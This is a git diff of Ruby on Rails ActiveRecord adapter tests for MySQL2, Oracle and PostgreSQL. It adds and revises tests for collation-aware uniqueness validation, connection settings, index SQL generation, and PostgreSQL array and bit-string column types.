index 6bcc113482..09bebf3071 100644
--- a/activerecord/test/cases/adapters/mysql2/case_sensitivity_test.rb
+++ b/activerecord/test/cases/adapters/mysql2/case_sensitivity_test.rb
@@ -3,10 +3,10 @@ require 'models/person'
class Mysql2CaseSensitivityTest < ActiveRecord::TestCase
class CollationTest < ActiveRecord::Base
- validates_uniqueness_of :string_cs_column, :case_sensitive => false
- validates_uniqueness_of :string_ci_column, :case_sensitive => false
end
+ repair_validations(CollationTest)
+
def test_columns_include_collation_different_from_table
assert_equal 'utf8_bin', CollationTest.columns_hash['string_cs_column'].collation
assert_equal 'utf8_general_ci', CollationTest.columns_hash['string_ci_column'].collation
@@ -18,6 +18,7 @@ class Mysql2CaseSensitivityTest < ActiveRecord::TestCase
end
def test_case_insensitive_comparison_for_ci_column
+ CollationTest.validates_uniqueness_of(:string_ci_column, :case_sensitive => false)
CollationTest.create!(:string_ci_column => 'A')
invalid = CollationTest.new(:string_ci_column => 'a')
queries = assert_sql { invalid.save }
@@ -26,10 +27,29 @@ class Mysql2CaseSensitivityTest < ActiveRecord::TestCase
end
def test_case_insensitive_comparison_for_cs_column
+ CollationTest.validates_uniqueness_of(:string_cs_column, :case_sensitive => false)
CollationTest.create!(:string_cs_column => 'A')
invalid = CollationTest.new(:string_cs_column => 'a')
queries = assert_sql { invalid.save }
cs_uniqueness_query = queries.detect { |q| q.match(/string_cs_column/)}
assert_match(/lower/i, cs_uniqueness_query)
end
+
+ def test_case_sensitive_comparison_for_ci_column
+ CollationTest.validates_uniqueness_of(:string_ci_column, :case_sensitive => true)
+ CollationTest.create!(:string_ci_column => 'A')
+ invalid = CollationTest.new(:string_ci_column => 'A')
+ queries = assert_sql { invalid.save }
+ ci_uniqueness_query = queries.detect { |q| q.match(/string_ci_column/) }
+ assert_match(/binary/i, ci_uniqueness_query)
+ end
+
+ def test_case_sensitive_comparison_for_cs_column
+ CollationTest.validates_uniqueness_of(:string_cs_column, :case_sensitive => true)
+ CollationTest.create!(:string_cs_column => 'A')
+ invalid = CollationTest.new(:string_cs_column => 'A')
+ queries = assert_sql { invalid.save }
+ cs_uniqueness_query = queries.detect { |q| q.match(/string_cs_column/) }
+ assert_no_match(/binary/i, cs_uniqueness_query)
+ end
end
diff --git a/activerecord/test/cases/adapters/mysql2/connection_test.rb b/activerecord/test/cases/adapters/mysql2/connection_test.rb
index 1265cb927e..d261e2db55 100644
--- a/activerecord/test/cases/adapters/mysql2/connection_test.rb
+++ b/activerecord/test/cases/adapters/mysql2/connection_test.rb
@@ -1,16 +1,40 @@
require "cases/helper"
+require 'support/connection_helper'
class MysqlConnectionTest < ActiveRecord::TestCase
+ include ConnectionHelper
+
+ fixtures :comments
+
def setup
super
+ @subscriber = SQLSubscriber.new
+ @subscription = ActiveSupport::Notifications.subscribe('sql.active_record', @subscriber)
@connection = ActiveRecord::Base.connection
- @connection.extend(LogIntercepter)
- @connection.intercepted = true
end
def teardown
- @connection.intercepted = false
- @connection.logged = []
+ ActiveSupport::Notifications.unsubscribe(@subscription)
+ super
+ end
+
+ def test_bad_connection
+ assert_raise ActiveRecord::NoDatabaseError do
+ configuration = ActiveRecord::Base.configurations['arunit'].merge(database: 'inexistent_activerecord_unittest')
+ connection = ActiveRecord::Base.mysql2_connection(configuration)
+ connection.exec_query('drop table if exists ex')
+ end
+ end
+
+ def test_truncate
+ rows = ActiveRecord::Base.connection.exec_query("select count(*) from comments")
+ count = rows.first.values.first
+ assert_operator count, :>, 0
+
+ ActiveRecord::Base.connection.truncate("comments")
+ rows = ActiveRecord::Base.connection.exec_query("select count(*) from comments")
+ count = rows.first.values.first
+ assert_equal 0, count
end
def test_no_automatic_reconnection_after_timeout
@@ -18,6 +42,9 @@ class MysqlConnectionTest < ActiveRecord::TestCase
@connection.update('set @@wait_timeout=1')
sleep 2
assert !@connection.active?
+
+ # Repair all fixture connections so other tests won't break.
+ @fixture_connections.each(&:verify!)
end
def test_successful_reconnection_after_timeout_with_manual_reconnect
@@ -36,6 +63,11 @@ class MysqlConnectionTest < ActiveRecord::TestCase
assert @connection.active?
end
+ def test_mysql_connection_collation_is_configured
+ assert_equal 'utf8_unicode_ci', @connection.show_variable('collation_connection')
+ assert_equal 'utf8_general_ci', ARUnit2Model.connection.show_variable('collation_connection')
+ end
+
# TODO: Below is a straight up copy/paste from mysql/connection_test.rb
# I'm not sure what the correct way is to share these tests between
# adapters in minitest.
@@ -44,12 +76,11 @@ class MysqlConnectionTest < ActiveRecord::TestCase
assert_equal [["STRICT_ALL_TABLES"]], result.rows
end
- def test_mysql_strict_mode_disabled_dont_override_global_sql_mode
+ def test_mysql_strict_mode_disabled
run_without_connection do |orig_connection|
ActiveRecord::Base.establish_connection(orig_connection.merge({:strict => false}))
- global_sql_mode = ActiveRecord::Base.connection.exec_query "SELECT @@GLOBAL.sql_mode"
- session_sql_mode = ActiveRecord::Base.connection.exec_query "SELECT @@SESSION.sql_mode"
- assert_equal global_sql_mode.rows, session_sql_mode.rows
+ result = ActiveRecord::Base.connection.exec_query "SELECT @@SESSION.sql_mode"
+ assert_equal [['']], result.rows
end
end
@@ -61,6 +92,14 @@ class MysqlConnectionTest < ActiveRecord::TestCase
end
end
+ def test_mysql_sql_mode_variable_overrides_strict_mode
+ run_without_connection do |orig_connection|
+ ActiveRecord::Base.establish_connection(orig_connection.deep_merge(variables: { 'sql_mode' => 'ansi' }))
+ result = ActiveRecord::Base.connection.exec_query 'SELECT @@SESSION.sql_mode'
+ assert_not_equal [['STRICT_ALL_TABLES']], result.rows
+ end
+ end
+
def test_mysql_set_session_variable_to_default
run_without_connection do |orig_connection|
ActiveRecord::Base.establish_connection(orig_connection.deep_merge({:variables => {:default_week_format => :default}}))
@@ -70,34 +109,24 @@ class MysqlConnectionTest < ActiveRecord::TestCase
end
end
- def test_logs_name_structure_dump
- @connection.structure_dump
- assert_equal "SCHEMA", @connection.logged[0][1]
- assert_equal "SCHEMA", @connection.logged[2][1]
- end
-
def test_logs_name_show_variable
@connection.show_variable 'foo'
- assert_equal "SCHEMA", @connection.logged[0][1]
+ assert_equal "SCHEMA", @subscriber.logged[0][1]
end
def test_logs_name_rename_column_sql
@connection.execute "CREATE TABLE `bar_baz` (`foo` varchar(255))"
- @connection.logged = []
+ @subscriber.logged.clear
@connection.send(:rename_column_sql, 'bar_baz', 'foo', 'foo2')
- assert_equal "SCHEMA", @connection.logged[0][1]
+ assert_equal "SCHEMA", @subscriber.logged[0][1]
ensure
@connection.execute "DROP TABLE `bar_baz`"
end
- private
-
- def run_without_connection
- original_connection = ActiveRecord::Base.remove_connection
- begin
- yield original_connection
- ensure
- ActiveRecord::Base.establish_connection(original_connection)
+ if mysql_56?
+ def test_quote_time_usec
+ assert_equal "'1970-01-01 00:00:00.000000'", @connection.quote(Time.at(0))
+ assert_equal "'1970-01-01 00:00:00.000000'", @connection.quote(Time.at(0).to_datetime)
end
end
end
diff --git a/activerecord/test/cases/adapters/mysql2/enum_test.rb b/activerecord/test/cases/adapters/mysql2/enum_test.rb
index f3a05e48ad..6dd9a5ec87 100644
--- a/activerecord/test/cases/adapters/mysql2/enum_test.rb
+++ b/activerecord/test/cases/adapters/mysql2/enum_test.rb
@@ -5,6 +5,6 @@ class Mysql2EnumTest < ActiveRecord::TestCase
end
def test_enum_limit
- assert_equal 5, EnumTest.columns.first.limit
+ assert_equal 6, EnumTest.columns.first.limit
end
end
diff --git a/activerecord/test/cases/adapters/mysql2/explain_test.rb b/activerecord/test/cases/adapters/mysql2/explain_test.rb
index 68ed361aeb..f67f21fab1 100644
--- a/activerecord/test/cases/adapters/mysql2/explain_test.rb
+++ b/activerecord/test/cases/adapters/mysql2/explain_test.rb
@@ -1,5 +1,6 @@
require "cases/helper"
require 'models/developer'
+require 'models/computer'
module ActiveRecord
module ConnectionAdapters
@@ -9,16 +10,16 @@ module ActiveRecord
def test_explain_for_one_query
explain = Developer.where(:id => 1).explain
- assert_match %(EXPLAIN for: SELECT `developers`.* FROM `developers` WHERE `developers`.`id` = 1), explain
- assert_match %(developers | const), explain
+ assert_match %(EXPLAIN for: SELECT `developers`.* FROM `developers` WHERE `developers`.`id` = 1), explain
+ assert_match %r(developers |.* const), explain
end
def test_explain_with_eager_loading
explain = Developer.where(:id => 1).includes(:audit_logs).explain
- assert_match %(EXPLAIN for: SELECT `developers`.* FROM `developers` WHERE `developers`.`id` = 1), explain
- assert_match %(developers | const), explain
- assert_match %(EXPLAIN for: SELECT `audit_logs`.* FROM `audit_logs` WHERE `audit_logs`.`developer_id` IN (1)), explain
- assert_match %(audit_logs | ALL), explain
+ assert_match %(EXPLAIN for: SELECT `developers`.* FROM `developers` WHERE `developers`.`id` = 1), explain
+ assert_match %r(developers |.* const), explain
+ assert_match %(EXPLAIN for: SELECT `audit_logs`.* FROM `audit_logs` WHERE `audit_logs`.`developer_id` IN (1)), explain
+ assert_match %r(audit_logs |.* ALL), explain
end
end
end
diff --git a/activerecord/test/cases/adapters/mysql2/reserved_word_test.rb b/activerecord/test/cases/adapters/mysql2/reserved_word_test.rb
index 1017b0758d..7f97b454bb 100644
--- a/activerecord/test/cases/adapters/mysql2/reserved_word_test.rb
+++ b/activerecord/test/cases/adapters/mysql2/reserved_word_test.rb
@@ -2,7 +2,7 @@ require "cases/helper"
class Group < ActiveRecord::Base
Group.table_name = 'group'
- belongs_to :select, :class_name => 'Select'
+ belongs_to :select
has_one :values
end
@@ -37,7 +37,7 @@ class MysqlReservedWordTest < ActiveRecord::TestCase
'distinct_select'=>'distinct_id int, select_id int'
end
- def teardown
+ teardown do
drop_tables_directly ['group', 'select', 'values', 'distinct', 'distinct_select', 'order']
end
@@ -63,11 +63,6 @@ class MysqlReservedWordTest < ActiveRecord::TestCase
assert_nothing_raised { @connection.rename_column(:group, :order, :values) }
end
- # dump structure of table with reserved word name
- def test_structure_dump
- assert_nothing_raised { @connection.structure_dump }
- end
-
# introspect table with reserved word name
def test_introspect
assert_nothing_raised { @connection.columns(:group) }
@@ -89,7 +84,6 @@ class MysqlReservedWordTest < ActiveRecord::TestCase
assert_nothing_raised { x.save }
assert_nothing_raised { Group.find_by_order('y') }
assert_nothing_raised { Group.find(1) }
- x = Group.find(1)
end
# has_one association with reserved-word table name
@@ -106,7 +100,7 @@ class MysqlReservedWordTest < ActiveRecord::TestCase
gs = nil
assert_nothing_raised { gs = Select.find(2).groups }
assert_equal gs.length, 2
- assert(gs.collect{|x| x.id}.sort == [2, 3])
+ assert(gs.collect(&:id).sort == [2, 3])
end
# has_and_belongs_to_many with reserved-word table name
@@ -115,7 +109,7 @@ class MysqlReservedWordTest < ActiveRecord::TestCase
s = nil
assert_nothing_raised { s = Distinct.find(1).selects }
assert_equal s.length, 2
- assert(s.collect{|x|x.id}.sort == [1, 2])
+ assert(s.collect(&:id).sort == [1, 2])
end
# activerecord model introspection with reserved-word table and column names
diff --git a/activerecord/test/cases/adapters/mysql2/schema_migrations_test.rb b/activerecord/test/cases/adapters/mysql2/schema_migrations_test.rb
new file mode 100644
index 0000000000..9c49599d34
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql2/schema_migrations_test.rb
@@ -0,0 +1,39 @@
+require "cases/helper"
+
+module ActiveRecord
+ module ConnectionAdapters
+ class Mysql2Adapter
+ class SchemaMigrationsTest < ActiveRecord::TestCase
+ def test_renaming_index_on_foreign_key
+ connection.add_index "engines", "car_id"
+ connection.add_foreign_key :engines, :cars, name: "fk_engines_cars"
+
+ connection.rename_index("engines", "index_engines_on_car_id", "idx_renamed")
+ assert_equal ["idx_renamed"], connection.indexes("engines").map(&:name)
+ ensure
+ connection.remove_foreign_key :engines, name: "fk_engines_cars"
+ end
+
+ def test_initializes_schema_migrations_for_encoding_utf8mb4
+ smtn = ActiveRecord::Migrator.schema_migrations_table_name
+ connection.drop_table(smtn) if connection.table_exists?(smtn)
+
+ config = connection.instance_variable_get(:@config)
+ original_encoding = config[:encoding]
+
+ config[:encoding] = 'utf8mb4'
+ connection.initialize_schema_migrations_table
+
+ assert connection.column_exists?(smtn, :version, :string, limit: Mysql2Adapter::MAX_INDEX_LENGTH_FOR_UTF8MB4)
+ ensure
+ config[:encoding] = original_encoding
+ end
+
+ private
+ def connection
+ @connection ||= ActiveRecord::Base.connection
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/adapters/mysql2/schema_test.rb b/activerecord/test/cases/adapters/mysql2/schema_test.rb
index 2c0ed73c92..47707b7d4f 100644
--- a/activerecord/test/cases/adapters/mysql2/schema_test.rb
+++ b/activerecord/test/cases/adapters/mysql2/schema_test.rb
@@ -37,15 +37,45 @@ module ActiveRecord
end
def test_tables_quoting
- begin
- @connection.tables(nil, "foo-bar", nil)
- flunk
- rescue => e
- # assertion for *quoted* database properly
- assert_match(/database 'foo-bar'/, e.inspect)
- end
+ @connection.tables(nil, "foo-bar", nil)
+ flunk
+ rescue => e
+ # assertion for *quoted* database properly
+ assert_match(/database 'foo-bar'/, e.inspect)
end
+ def test_dump_indexes
+ index_a_name = 'index_key_tests_on_snack'
+ index_b_name = 'index_key_tests_on_pizza'
+ index_c_name = 'index_key_tests_on_awesome'
+
+ table = 'key_tests'
+
+ indexes = @connection.indexes(table).sort_by(&:name)
+ assert_equal 3,indexes.size
+
+ index_a = indexes.select{|i| i.name == index_a_name}[0]
+ index_b = indexes.select{|i| i.name == index_b_name}[0]
+ index_c = indexes.select{|i| i.name == index_c_name}[0]
+ assert_equal :btree, index_a.using
+ assert_nil index_a.type
+ assert_equal :btree, index_b.using
+ assert_nil index_b.type
+
+ assert_nil index_c.using
+ assert_equal :fulltext, index_c.type
+ end
+
+ unless mysql_enforcing_gtid_consistency?
+ def test_drop_temporary_table
+ @connection.transaction do
+ @connection.create_table(:temp_table, temporary: true)
+ # if it doesn't properly say DROP TEMPORARY TABLE, the transaction commit
+ # will complain that no transaction is active
+ @connection.drop_table(:temp_table, temporary: true)
+ end
+ end
+ end
end
end
end
diff --git a/activerecord/test/cases/adapters/oracle/synonym_test.rb b/activerecord/test/cases/adapters/oracle/synonym_test.rb
deleted file mode 100644
index b9a422a6ca..0000000000
--- a/activerecord/test/cases/adapters/oracle/synonym_test.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-require "cases/helper"
-require 'models/topic'
-require 'models/subject'
-
-# confirm that synonyms work just like tables; in this case
-# the "subjects" table in Oracle (defined in oci.sql) is just
-# a synonym to the "topics" table
-
-class TestOracleSynonym < ActiveRecord::TestCase
-
- def test_oracle_synonym
- topic = Topic.new
- subject = Subject.new
- assert_equal(topic.attributes, subject.attributes)
- end
-
-end
diff --git a/activerecord/test/cases/adapters/postgresql/active_schema_test.rb b/activerecord/test/cases/adapters/postgresql/active_schema_test.rb
index 1b4f4a5fc9..3808db5141 100644
--- a/activerecord/test/cases/adapters/postgresql/active_schema_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/active_schema_test.rb
@@ -7,7 +7,7 @@ class PostgresqlActiveSchemaTest < ActiveRecord::TestCase
end
end
- def teardown
+ teardown do
ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.class_eval do
remove_method :execute
end
@@ -16,6 +16,7 @@ class PostgresqlActiveSchemaTest < ActiveRecord::TestCase
def test_create_database_with_encoding
assert_equal %(CREATE DATABASE "matt" ENCODING = 'utf8'), create_database(:matt)
assert_equal %(CREATE DATABASE "aimonetti" ENCODING = 'latin1'), create_database(:aimonetti, :encoding => :latin1)
+ assert_equal %(CREATE DATABASE "aimonetti" ENCODING = 'latin1'), create_database(:aimonetti, 'encoding' => :latin1)
end
def test_create_database_with_collation_and_ctype
@@ -24,14 +25,30 @@ class PostgresqlActiveSchemaTest < ActiveRecord::TestCase
def test_add_index
# add_index calls index_name_exists? which can't work since execute is stubbed
- ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.send(:define_method, :index_name_exists?) do |*|
- false
- end
+ ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.stubs(:index_name_exists?).returns(false)
- expected = %(CREATE UNIQUE INDEX "index_people_on_last_name" ON "people" ("last_name") WHERE state = 'active')
+ expected = %(CREATE UNIQUE INDEX "index_people_on_last_name" ON "people" ("last_name") WHERE state = 'active')
assert_equal expected, add_index(:people, :last_name, :unique => true, :where => "state = 'active'")
- ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.send(:remove_method, :index_name_exists?)
+ expected = %(CREATE INDEX CONCURRENTLY "index_people_on_last_name" ON "people" ("last_name"))
+ assert_equal expected, add_index(:people, :last_name, algorithm: :concurrently)
+
+ %w(gin gist hash btree).each do |type|
+ expected = %(CREATE INDEX "index_people_on_last_name" ON "people" USING #{type} ("last_name"))
+ assert_equal expected, add_index(:people, :last_name, using: type)
+
+ expected = %(CREATE INDEX CONCURRENTLY "index_people_on_last_name" ON "people" USING #{type} ("last_name"))
+ assert_equal expected, add_index(:people, :last_name, using: type, algorithm: :concurrently)
+ end
+
+ assert_raise ArgumentError do
+ add_index(:people, :last_name, algorithm: :copy)
+ end
+ expected = %(CREATE UNIQUE INDEX "index_people_on_last_name" ON "people" USING gist ("last_name"))
+ assert_equal expected, add_index(:people, :last_name, :unique => true, :using => :gist)
+
+ expected = %(CREATE UNIQUE INDEX "index_people_on_last_name" ON "people" USING gist ("last_name") WHERE state = 'active')
+ assert_equal expected, add_index(:people, :last_name, :unique => true, :where => "state = 'active'", :using => :gist)
end
private
diff --git a/activerecord/test/cases/adapters/postgresql/array_test.rb b/activerecord/test/cases/adapters/postgresql/array_test.rb
index 8774bf626f..db302b6294 100644
--- a/activerecord/test/cases/adapters/postgresql/array_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/array_test.rb
@@ -1,98 +1,303 @@
# encoding: utf-8
require "cases/helper"
-require 'active_record/base'
-require 'active_record/connection_adapters/postgresql_adapter'
+require 'support/schema_dumping_helper'
class PostgresqlArrayTest < ActiveRecord::TestCase
+ include SchemaDumpingHelper
+ include InTimeZone
+ OID = ActiveRecord::ConnectionAdapters::PostgreSQL::OID
+
class PgArray < ActiveRecord::Base
self.table_name = 'pg_arrays'
end
def setup
@connection = ActiveRecord::Base.connection
- @connection.transaction do
- @connection.create_table('pg_arrays') do |t|
- t.string 'tags', :array => true
- end
+
+ enable_extension!('hstore', @connection)
+
+ @connection.transaction do
+ @connection.create_table('pg_arrays') do |t|
+ t.string 'tags', array: true
+ t.integer 'ratings', array: true
+ t.datetime :datetimes, array: true
+ t.hstore :hstores, array: true
end
- @column = PgArray.columns.find { |c| c.name == 'tags' }
+ end
+ @column = PgArray.columns_hash['tags']
end
- def teardown
+ teardown do
@connection.execute 'drop table if exists pg_arrays'
+ disable_extension!('hstore', @connection)
end
def test_column
assert_equal :string, @column.type
+ assert_equal "character varying", @column.sql_type
assert @column.array
+ assert_not @column.number?
+ assert_not @column.binary?
+
+ ratings_column = PgArray.columns_hash['ratings']
+ assert_equal :integer, ratings_column.type
+ assert ratings_column.array
+ assert_not ratings_column.number?
+ end
+
+ def test_default
+ @connection.add_column 'pg_arrays', 'score', :integer, array: true, default: [4, 4, 2]
+ PgArray.reset_column_information
+
+ assert_equal([4, 4, 2], PgArray.column_defaults['score'])
+ assert_equal([4, 4, 2], PgArray.new.score)
+ ensure
+ PgArray.reset_column_information
+ end
+
+ def test_default_strings
+ @connection.add_column 'pg_arrays', 'names', :string, array: true, default: ["foo", "bar"]
+ PgArray.reset_column_information
+
+ assert_equal(["foo", "bar"], PgArray.column_defaults['names'])
+ assert_equal(["foo", "bar"], PgArray.new.names)
+ ensure
+ PgArray.reset_column_information
+ end
+
+ def test_change_column_with_array
+ @connection.add_column :pg_arrays, :snippets, :string, array: true, default: []
+ @connection.change_column :pg_arrays, :snippets, :text, array: true, default: []
+
+ PgArray.reset_column_information
+ column = PgArray.columns_hash['snippets']
+
+ assert_equal :text, column.type
+ assert_equal [], PgArray.column_defaults['snippets']
+ assert column.array
+ end
+
+ def test_change_column_cant_make_non_array_column_to_array
+ @connection.add_column :pg_arrays, :a_string, :string
+ assert_raises ActiveRecord::StatementInvalid do
+ @connection.transaction do
+ @connection.change_column :pg_arrays, :a_string, :string, array: true
+ end
+ end
+ end
+
+ def test_change_column_default_with_array
+ @connection.change_column_default :pg_arrays, :tags, []
+
+ PgArray.reset_column_information
+ assert_equal [], PgArray.column_defaults['tags']
end
def test_type_cast_array
- assert @column
+ assert_equal(['1', '2', '3'], @column.type_cast_from_database('{1,2,3}'))
+ assert_equal([], @column.type_cast_from_database('{}'))
+ assert_equal([nil], @column.type_cast_from_database('{NULL}'))
+ end
+
+ def test_type_cast_integers
+ x = PgArray.new(ratings: ['1', '2'])
+
+ assert_equal([1, 2], x.ratings)
- data = '{1,2,3}'
- oid_type = @column.instance_variable_get('@oid_type').subtype
- # we are getting the instance variable in this test, but in the
- # normal use of string_to_array, it's called from the OID::Array
- # class and will have the OID instance that will provide the type
- # casting
- array = @column.class.string_to_array data, oid_type
- assert_equal(['1', '2', '3'], array)
- assert_equal(['1', '2', '3'], @column.type_cast(data))
+ x.save!
+ x.reload
- assert_equal([], @column.type_cast('{}'))
- assert_equal([nil], @column.type_cast('{NULL}'))
+ assert_equal([1, 2], x.ratings)
end
- def test_rewrite
+ def test_schema_dump_with_shorthand
+ output = dump_table_schema "pg_arrays"
+ assert_match %r[t.string\s+"tags",\s+array: true], output
+ assert_match %r[t.integer\s+"ratings",\s+array: true], output
+ end
+
+ def test_select_with_strings
@connection.execute "insert into pg_arrays (tags) VALUES ('{1,2,3}')"
x = PgArray.first
- x.tags = ['1','2','3','4']
- assert x.save!
+ assert_equal(['1','2','3'], x.tags)
end
- def test_select
+ def test_rewrite_with_strings
@connection.execute "insert into pg_arrays (tags) VALUES ('{1,2,3}')"
x = PgArray.first
- assert_equal(['1','2','3'], x.tags)
+ x.tags = ['1','2','3','4']
+ x.save!
+ assert_equal ['1','2','3','4'], x.reload.tags
+ end
+
+ def test_select_with_integers
+ @connection.execute "insert into pg_arrays (ratings) VALUES ('{1,2,3}')"
+ x = PgArray.first
+ assert_equal([1, 2, 3], x.ratings)
+ end
+
+ def test_rewrite_with_integers
+ @connection.execute "insert into pg_arrays (ratings) VALUES ('{1,2,3}')"
+ x = PgArray.first
+ x.ratings = [2, '3', 4]
+ x.save!
+ assert_equal [2, 3, 4], x.reload.ratings
+ end
+
+ def test_multi_dimensional_with_strings
+ assert_cycle(:tags, [[['1'], ['2']], [['2'], ['3']]])
end
- def test_multi_dimensional
- assert_cycle([['1','2'],['2','3']])
+ def test_with_empty_strings
+ assert_cycle(:tags, [ '1', '2', '', '4', '', '5' ])
+ end
+
+ def test_with_multi_dimensional_empty_strings
+ assert_cycle(:tags, [[['1', '2'], ['', '4'], ['', '5']]])
+ end
+
+ def test_with_arbitrary_whitespace
+ assert_cycle(:tags, [[['1', '2'], [' ', '4'], [' ', '5']]])
+ end
+
+ def test_multi_dimensional_with_integers
+ assert_cycle(:ratings, [[[1], [7]], [[8], [10]]])
end
def test_strings_with_quotes
- assert_cycle(['this has','some "s that need to be escaped"'])
+ assert_cycle(:tags, ['this has','some "s that need to be escaped"'])
end
def test_strings_with_commas
- assert_cycle(['this,has','many,values'])
+ assert_cycle(:tags, ['this,has','many,values'])
end
def test_strings_with_array_delimiters
- assert_cycle(['{','}'])
+ assert_cycle(:tags, ['{','}'])
end
def test_strings_with_null_strings
- assert_cycle(['NULL','NULL'])
+ assert_cycle(:tags, ['NULL','NULL'])
end
def test_contains_nils
- assert_cycle(['1',nil,nil])
+ assert_cycle(:tags, ['1',nil,nil])
+ end
+
+ def test_insert_fixture
+ tag_values = ["val1", "val2", "val3_with_'_multiple_quote_'_chars"]
+ @connection.insert_fixture({"tags" => tag_values}, "pg_arrays" )
+ assert_equal(PgArray.last.tags, tag_values)
+ end
+
+ def test_attribute_for_inspect_for_array_field
+ record = PgArray.new { |a| a.ratings = (1..11).to_a }
+ assert_equal("[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, ...]", record.attribute_for_inspect(:ratings))
+ end
+
+ def test_escaping
+ unknown = 'foo\\",bar,baz,\\'
+ tags = ["hello_#{unknown}"]
+ ar = PgArray.create!(tags: tags)
+ ar.reload
+ assert_equal tags, ar.tags
+ end
+
+ def test_string_quoting_rules_match_pg_behavior
+ tags = ["", "one{", "two}", %(three"), "four\\", "five ", "six\t", "seven\n", "eight,", "nine", "ten\r", "NULL"]
+ x = PgArray.create!(tags: tags)
+ x.reload
+
+ assert_equal x.tags_before_type_cast, PgArray.columns_hash['tags'].type_cast_for_database(tags)
+ end
+
+ def test_quoting_non_standard_delimiters
+ strings = ["hello,", "world;"]
+ comma_delim = OID::Array.new(ActiveRecord::Type::String.new, ',')
+ semicolon_delim = OID::Array.new(ActiveRecord::Type::String.new, ';')
+
+ assert_equal %({"hello,",world;}), comma_delim.type_cast_for_database(strings)
+ assert_equal %({hello,;"world;"}), semicolon_delim.type_cast_for_database(strings)
+ end
+
+ def test_mutate_array
+ x = PgArray.create!(tags: %w(one two))
+
+ x.tags << "three"
+ x.save!
+ x.reload
+
+ assert_equal %w(one two three), x.tags
+ assert_not x.changed?
+ end
+
+ def test_mutate_value_in_array
+ x = PgArray.create!(hstores: [{ a: 'a' }, { b: 'b' }])
+
+ x.hstores.first['a'] = 'c'
+ x.save!
+ x.reload
+
+ assert_equal [{ 'a' => 'c' }, { 'b' => 'b' }], x.hstores
+ assert_not x.changed?
+ end
+
+ def test_datetime_with_timezone_awareness
+ tz = "Pacific Time (US & Canada)"
+
+ in_time_zone tz do
+ PgArray.reset_column_information
+ time_string = Time.current.to_s
+ time = Time.zone.parse(time_string)
+
+ record = PgArray.new(datetimes: [time_string])
+ assert_equal [time], record.datetimes
+ assert_equal ActiveSupport::TimeZone[tz], record.datetimes.first.time_zone
+
+ record.save!
+ record.reload
+
+ assert_equal [time], record.datetimes
+ assert_equal ActiveSupport::TimeZone[tz], record.datetimes.first.time_zone
+ end
+ end
+
+ def test_assigning_non_array_value
+ record = PgArray.new(tags: "not-an-array")
+ assert_equal "not-an-array", record.tags
+ e = assert_raises(ActiveRecord::StatementInvalid) do
+ record.save!
+ end
+ assert_instance_of PG::InvalidTextRepresentation, e.original_exception
+ end
+
+ def test_uniqueness_validation
+ klass = Class.new(PgArray) do
+ validates_uniqueness_of :tags
+
+ def self.model_name; ActiveModel::Name.new(PgArray) end
+ end
+ e1 = klass.create("tags" => ["black", "blue"])
+ assert e1.persisted?, "Saving e1"
+
+ e2 = klass.create("tags" => ["black", "blue"])
+ assert !e2.persisted?, "e2 shouldn't be valid"
+ assert e2.errors[:tags].any?, "Should have errors for tags"
+ assert_equal ["has already been taken"], e2.errors[:tags], "Should have uniqueness message for tags"
end
private
- def assert_cycle array
+ def assert_cycle field, array
# test creation
- x = PgArray.create!(:tags => array)
+ x = PgArray.create!(field => array)
x.reload
- assert_equal(array, x.tags)
+ assert_equal(array, x.public_send(field))
# test updating
- x = PgArray.create!(:tags => [])
- x.tags = array
+ x = PgArray.create!(field => [])
+ x.public_send("#{field}=", array)
x.save!
x.reload
- assert_equal(array, x.tags)
+ assert_equal(array, x.public_send(field))
end
end
diff --git a/activerecord/test/cases/adapters/postgresql/bit_string_test.rb b/activerecord/test/cases/adapters/postgresql/bit_string_test.rb
new file mode 100644
index 0000000000..72222c01fd
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/bit_string_test.rb
@@ -0,0 +1,76 @@
+# -*- coding: utf-8 -*-
+require "cases/helper"
+require 'support/connection_helper'
+require 'support/schema_dumping_helper'
+
+class PostgresqlBitStringTest < ActiveRecord::TestCase
+ include ConnectionHelper
+ include SchemaDumpingHelper
+
+ class PostgresqlBitString < ActiveRecord::Base; end
+
+ def setup
+ @connection = ActiveRecord::Base.connection
+ @connection.create_table('postgresql_bit_strings', :force => true) do |t|
+ t.bit :a_bit, default: "00000011", limit: 8
+ t.bit_varying :a_bit_varying, default: "0011", limit: 4
+ end
+ end
+
+ def teardown
+ return unless @connection
+ @connection.execute 'DROP TABLE IF EXISTS postgresql_bit_strings'
+ end
+
+ def test_bit_string_column
+ column = PostgresqlBitString.columns_hash["a_bit"]
+ assert_equal :bit, column.type
+ assert_equal "bit(8)", column.sql_type
+ assert_not column.number?
+ assert_not column.binary?
+ assert_not column.array
+ end
+
+ def test_bit_string_varying_column
+ column = PostgresqlBitString.columns_hash["a_bit_varying"]
+ assert_equal :bit_varying, column.type
+ assert_equal "bit varying(4)", column.sql_type
+ assert_not column.number?
+ assert_not column.binary?
+ assert_not column.array
+ end
+
+ def test_default
+ assert_equal "00000011", PostgresqlBitString.column_defaults['a_bit']
+ assert_equal "00000011", PostgresqlBitString.new.a_bit
+
+ assert_equal "0011", PostgresqlBitString.column_defaults['a_bit_varying']
+ assert_equal "0011", PostgresqlBitString.new.a_bit_varying
+ end
+
+ def test_schema_dumping
+ output = dump_table_schema("postgresql_bit_strings")
+ assert_match %r{t\.bit\s+"a_bit",\s+limit: 8,\s+default: "00000011"$}, output
+ assert_match %r{t\.bit_varying\s+"a_bit_varying",\s+limit: 4,\s+default: "0011"$}, output
+ end
+
+ def test_assigning_invalid_hex_string_raises_exception
+ assert_raises(ActiveRecord::StatementInvalid) { PostgresqlBitString.create! a_bit: "FF" }
+ assert_raises(ActiveRecord::StatementInvalid) { PostgresqlBitString.create! a_bit_varying: "FF" }
+ end
+
+ def test_roundtrip
+ PostgresqlBitString.create! a_bit: "00001010", a_bit_varying: "0101"
+ record = PostgresqlBitString.first
+ assert_equal "00001010", record.a_bit
+ assert_equal "0101", record.a_bit_varying
+
+ record.a_bit = "11111111"
+ record.a_bit_varying = "0xF"
+ record.save!
+
+ assert record.reload
+ assert_equal "11111111", record.a_bit
+ assert_equal "1111", record.a_bit_varying
+ end
+end
